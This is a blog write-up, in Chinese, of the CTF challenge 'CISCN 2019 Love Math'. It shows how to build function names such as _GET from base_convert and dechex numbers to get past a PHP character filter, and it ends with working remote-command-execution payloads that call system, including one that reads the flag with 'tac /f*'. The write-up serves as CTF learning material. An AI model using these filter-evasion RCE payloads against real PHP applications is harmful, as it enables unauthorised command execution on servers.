[CISCN 2019 初赛]Love Math
进来之后直接就给源码了
1 |
|
这里利用给出的函数进行转换最终构造payload
进行RCE
1 | $c=($_GET[a])($_GET[b])&a=system&b=ls |
base_convert() 进行数字的任意进制转换
base_convert
函数的语法
1 | string base_convert(string $number, int $from_base, int $to_base) |
- **
$number
**:要转换的数,作为字符串传入。这个数的值基于from_base
进制。 - **
$from_base
**:整数,表示输入数的进制(基数)。支持的基数范围是 2 到 36。 - **
$to_base
**:整数,表示输出数的进制(基数)。支持的基数范围是 2 到 36。
dechex() 把十进制转换为十六进制
hex2bin() 将十六进制转换为原始的二进制字节流然后再以字符串形式输出
1 | $hex = dechex(255); // 结果是 "ff" |
由于字母被过滤了,这里我们要利用进制转换完成所有操作
1 | hex2bin-》37907361743(10进制) |
payload
1 | ?=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi[a]$$pi[b]&a=system&b=ls |
这里还是出问题了,[]
被过滤了,但是影响不大,并且这里的参数也不能自己取,不过还是不会超过80个字符
1 | ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{tan})&abs=system&tan=tac /f* |
还是很好玩的,只不过中途找进制转换工具的时候给我找趴下了
- Title: [CISCN 2019 初赛]Love Math
- Author: baozongwi
- Created at : 2024-08-30 19:10:05
- Updated at : 2024-09-14 15:41:54
- Link: https://baozongwi.xyz/2024/08/30/CISCN-2019-初赛-Love-Math/
- License: This work is licensed under CC BY-NC-SA 4.0.
推荐阅读
Comments